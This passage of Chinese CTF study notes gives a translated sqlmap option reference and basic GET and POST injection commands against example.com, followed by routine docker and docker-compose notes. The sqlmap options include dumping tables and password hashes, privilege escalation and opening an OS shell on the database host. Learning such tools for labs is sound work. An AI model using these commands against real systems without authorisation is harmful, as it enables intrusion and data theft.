   --dns-domain=DNS..  DNS泄露攻击使用的域名

   --second-order=S..  URL搜索产生的结果页面

Enumeration 枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

   -a, --all           获取所有信息

   -b, --banner        获取数据库管理系统的标识

   --current-user      获取数据库管理系统当前用户

   --current-db        获取数据库管理系统当前数据库

    --hostname         获取数据库服务器的主机名称

   --is-dba            检测DBMS当前用户是否DBA

   --users             枚举数据库管理系统用户

   --passwords         枚举数据库管理系统用户密码哈希

   --privileges        枚举数据库管理系统用户的权限

   --roles            枚举数据库管理系统用户的角色

   --dbs             枚举数据库管理系统数据库

   --tables            枚举的DBMS数据库中的表

   --columns          枚举DBMS数据库表列

   --schema            枚举数据库架构

   --count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb

   --dump            转储数据库表项

    --dump-all          转储数据库所有表项

   --search           搜索列(S),表(S)和/或数据库名称(S)

   --comments          获取DBMS注释

   -D DB               要进行枚举的指定数据库名

   -T TBL              DBMS数据库表枚举

   -C COL             DBMS数据库表列枚举

   -X EXCLUDECOL     DBMS数据库表不进行枚举

   -U USER           用来进行枚举的数据库用户

   --exclude-sysdbs    枚举表时排除系统数据库

   --pivot-column=P..  Pivot columnname

   --where=DUMPWHERE   Use WHEREcondition while table dumping

   --start=LIMITSTART  获取第一个查询输出数据位置

   --stop=LIMITSTOP   获取最后查询的输出数据

   --first=FIRSTCHAR   第一个查询输出字的字符获取

   --last=LASTCHAR    最后查询的输出字字符获取

   --sql-query=QUERY   要执行的SQL语句

   --sql-shell         提示交互式SQL的shell

   --sql-file=SQLFILE  要执行的SQL文件

General 一般选项

这些选项可以用来设置一些一般的工作参数

   -s SESSIONFILE     保存和恢复检索会话文件的所有数据

   -t TRAFFICFILE      记录所有HTTP流量到一个文本文件中

   --batch            从不询问用户输入,使用所有默认配置。

   --binary-fields=..  结果字段具有二进制值(e.g."digest")

   --charset=CHARSET   强制字符编码

   --crawl=CRAWLDEPTH  从目标URL爬行网站

   --crawl-exclude=..  正则表达式从爬行页中排除

   --csv-del=CSVDEL    限定使用CSV输出 (default",")

   --dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)

   --eta              显示每个输出的预计到达时间

   --flush-session     刷新当前目标的会话文件

   --forms           解析和测试目标URL表单

    --fresh-queries     忽略在会话文件中存储的查询结果

   --hex             使用DBMS Hex函数数据检索

   --output-dir=OUT..  自定义输出目录路径

   --parse-errors      解析和显示响应数据库错误信息

   --save=SAVECONFIG   保存选项到INI配置文件

   --scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标

   --test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)

   --test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)

   --update            更新sqlmap

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

   --os-cmd=OSCMD   执行操作系统命令(OSCMD)

   --os-shell          交互式的操作系统的shell

   --os-pwn          获取一个OOB shell,meterpreter或VNC

   --os-smbrelay       一键获取一个OOBshell,meterpreter或VNC

   --os-bof           存储过程缓冲区溢出利用

   --priv-esc          数据库进程用户权限提升

   --msf-path=MSFPATH  MetasploitFramework本地的安装路径

   --tmp-path=TMPPATH  远程临时文件目录的绝对路径

sqlmap的基本使用

sqlmap x GET注入

1、

如果你已知哪个参数可能受到影响,可以使用 -p 指定该参数,你也可以省略 -p 参数,让 sqlmap 自动测试所有参数。

直接 sqlmap -u "http://example.com/page?id=1" -p id 

2、如果GET请求里有两个参数

如果你想让 sqlmap 测试所有参数,只需提供 URL,不用特别指定参数:

sqlmap -u "http://example.com/page?param1=value1&param2=value2"

如果你想专门测试某个参数(比如 param1),可以使用 -p 选项:

sqlmap -u "http://example.com/page?param1=value1&param2=value2" -p param1

也可以同时指定多个参数

sqlmap -u "http://example.com/page?param1=value1&param2=value2" -p param1,param2

3、直接拉满

sqlmap -u "http://example.com/page?param1=value1&param2=value2" -p param1,param2 --level=5 --risk=3

之后的操作参考这个吧

https://blog.csdn.net/yzl_007/article/details/119974327

我还没有遇到过能用sqlmap完成注入的题目呢..

sqlmap x POST请求

--data 提供 POST 数据。使用 -p 参数指定你怀疑有漏洞的参数名称。如果不确定,sqlmap 会尝试测试所有参数。

sqlmap -u http://example.com/post --data="param1=value1&param2=value2"

通用技巧

image-20240105180411611

docker

docker命令

1、查看所有docker

docker ps -a

image-20240105212757316

2、启动某docker

docker start 容器ID或容器名

3、停止某docker

docker stop 容器ID或容器名

4、删除某docker

sudo docker rm 容器ID或容器名

5、连接docker

image-20240105214037475

docker文件初始化的时候会有这些 /var/www 之类的目录,我们该怎么进入呢?

docker exec -it [容器ID或名称] bash
或
docker exec -it [容器ID或名称] sh
即可进入

6、docker与外界传输文件

从外界传入docker中:

docker cp ./xxx docker名:/docker内地址

sudo docker cp ./111.txt 0a14497532fc:/var/www/html    

image-20240105214758266

从docker传入docker外

sudo docker cp  0a14497532fc:/var/www/html/111.txt  ./  

image-20240105214915612

7、重建docker镜像

Docker镜像是一个轻量级、可执行的独立软件包,它包含运行应用所需的所有内容:代码、运行时环境、库、环境变量和配置文件。镜像是容器运行的基础,你可以把它看作是容器的“蓝图”。镜像是不可变的,这意味着一旦创建,它不会改变

image-20240105215642041

在一些docker实践中发现,docker镜像在构建时包含了所有源码,这时如果我们想修改源码就只能在docker里修改,这是很困难的,为此,我们可以先在docker外修改好文件,再选择重新构建docker的方式

image-20240105220915362

实际上名字任起

sudo docker build -t xxxxtlsn ./ 

8、删除某docker镜像

docker images -a
docker rmi <your-image-id>   // r如果显示该镜像被使用,则先删除docker

或者用 docker-compose 命令也行

9、docker-compose命令重建镜像

https://blog.csdn.net/justlpf/article/details/132734556

docker-compose down    // 删除所有容器
sudo docker rmi a5709eb9c7dd --force    //删除构建该docker时所建的镜像
docker-compose up 				// 构建服务镜像

或者直接

docker-compose up --build // 即可  // --build 标志来强制重新构建镜像

不过由于重建的默认名字不变,故其会代替掉原来的镜像名字,而原来的镜像名字变为

image-20240105224817185

我们应该及时删除一下(不然一个镜像占半个G磁盘),积累下来会很耗费磁盘

docker-compose 的一些命令

https://blog.csdn.net/justlpf/article/details/132734556

# 构建服务的镜像
docker-compose build
 
# 如果服务镜像不存在,则构建镜像并启动服务。
docker-compose up --build	// -build 标志来强制重新构建镜像
docker-compose up --d  // 用于启动Docker Compose 文件中定义的服务的容器,运行镜像并且将其作为容器运行在后台

 
# 重构服务。
docker-compose up --force-recreate 

# 关闭docker
docker-compose stop xxx